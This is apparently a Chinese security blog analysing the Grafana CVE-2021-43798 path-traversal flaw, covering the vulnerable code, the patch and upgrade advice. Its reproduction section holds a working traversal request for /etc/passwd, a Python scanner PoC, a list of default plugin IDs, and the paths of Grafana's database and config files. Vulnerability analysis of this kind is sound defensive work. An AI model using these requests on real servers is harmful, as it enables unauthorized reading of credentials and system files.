CVE-2021-43798 Grafana 任意文件读取漏洞分析

文章最后更新时间为:2021年12月08日 20:14:50

1.漏洞描述

Grafana是一个跨平台、开源的数据可视化网络应用程序平台。只要给它输入一段数据流,就可以进行各种数据图表展示,总之很炫酷。之前也用过一段时间的grafana,安全态势感知必备,(手动dog)

2021-12-07,CVE-2021-43798利用详情被公开爆出,未授权用户也可以读取任意文件。这个任意文件读,其实不能直接getshell,但是可以配合读取配置文件和其他漏洞,进行综合利用。

2.漏洞版本

v8.0.0-beta1 到 v8.3.0

这个版本不是特别严谨,因为涉及到小版本的修复,可以看官方通告:https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/

3.漏洞分析

根据官方的发布说明,8.3.1修复了这个漏洞,那么我们直接看8.3.1和8.3.0的diff就行,这一次的修复只动了pkg/api/plugins.go文件

2021-12-08T07:53:58.png

直接定位到这个函数:getPluginAssets,根据说明这个函数是为了获取插件的静态资源

2021-12-08T09:07:01.png

函数中使用了下面两行来获取资源的位置:

requestedFile := filepath.Clean(web.Params(c.Req)["*"]) 获取参数
其中filepath.Clean仅用于清理path中多余的字符
pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile) 拼接目录

可以看出在获取文件路径后,并没有对参数做更多的处理,当我们传入类似于../../../etc/pass的路径时,就会被拼接到pluginFilePath参数中,然后读取该资源,当做response返回。

2021-12-08T09:11:04.png

任意文件读的漏洞点就这么简单,接下来看看该路由的权限,直接向上看getPluginAssets的路由来源,在pkg/api/api.go中:

2021-12-08T09:15:22.png

直接使用了r.Get()并没有做任何的中间件,也并没有身份认证。

所以综上我们只要知道一个存在的pluginId,然后调用/public/plugins/:pluginId/*就可以访问任意文件,比如/public/plugins/:pluginId/../../../../../etc/passwd

接下来看下修复补丁是怎么处理的,在pkg/api/plugins.go文件中:

// prepend slash for cleaning relative paths
requestedFile := filepath.Clean(filepath.Join("/", web.Params(c.Req)["*"]))
rel, err := filepath.Rel("/", requestedFile)
if err != nil {
    // slash is prepended above therefore this is not expected to fail 
    c.JsonApiErr(500, "Failed to get the relative path", err)
    return
}

if !plugin.IncludedInSignature(rel) {
    hs.log.Warn("Access to requested plugin file will be forbidden in upcoming Grafana versions as the file "+
        "is not included in the plugin signature", "file", requestedFile)
}

absPluginDir, err := filepath.Abs(plugin.PluginDir)
if err != nil {
    c.JsonApiErr(500, "Failed to get plugin absolute path", nil)
    return
}

pluginFilePath := filepath.Join(absPluginDir, rel)

其中最主要的是加了一行

rel, err := filepath.Rel("/", requestedFile)

Rel函数返回一个相对路径,通俗一点说就是func Rel(basepath, targpath string) (string, error)的返回值等于targpath 减去 basepath。看下面的例子就清楚了:

package main

import (
    "fmt"
    "path/filepath"
)

func main() {
    paths := []string{
        "./a/b/c",
        "/b/c",
        "/../b/c",
    }
    base := "/"
    fmt.Println("On Unix:")
    for _, p := range paths {
        rel, err := filepath.Rel(base, p)
        fmt.Printf("%q: %q %v\n", p, rel, err)
    }

}

Output:

On Unix:
"./a/b/c": "" Rel: can't make ./a/b/c relative to /
"/b/c": "b/c" <nil>
"/../b/c": "b/c" <nil>

这样我们就无法实现路径穿越了。

4.漏洞复现

首先我们需要找到一个插件,当然了grafana开源的插件就那么多,可以遍历一遍就行,默认安装的插件有下面40个:

alertlist
annolist
grafana-azure-monitor-datasource
barchart
bargauge
cloudwatch
dashlist
elasticsearch
gauge
geomap
gettingstarted
stackdriver
graph
graphite
heatmap
histogram
influxdb
jaeger
logs
loki
mssql
mysql
news
nodeGraph
opentsdb
piechart
pluginlist
postgres
prometheus
stat
state-timeline
status-history
table
table-old
tempo
testdata
text
timeseries
welcome
zipkin

然后就可以任意文件读了

GET /public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 192.168.1.112:3000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close


2021-12-08T09:59:31.png

saucerframe poc:

from plugin.target_parse import get_standard_url
from lib.core.Request import request

def poc(url):
    plugins = ["cloudwatch","dashlist","elasticsearch","graph","graphite","heatmap","influxdb","mysql","opentsdb","pluginlist","postgres","prometheus","stackdriver","table","text"]
    base = get_standard_url(url)
    for plugin in plugins:
        vuln_url = f"{base}/public/plugins/{plugin}/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc/passwd"
        try:
            r = request.get(vuln_url, verify=False, timeout=5)
            if r.status_code == 200 and "root:x:" in r.text:
                return vuln_url
        except:
            pass
    return False

此外还可以读数据库文件/var/lib/grafana/grafana.db,但是有salt和random,破解是很难破解的:

2021-12-08T12:09:34.png

读配置文件:/etc/grafana/grafana.ini

2021-12-08T12:10:34.png

5.修复建议

升级到最新版本即可。

1 + 6 =
快来做第一个评论的人吧~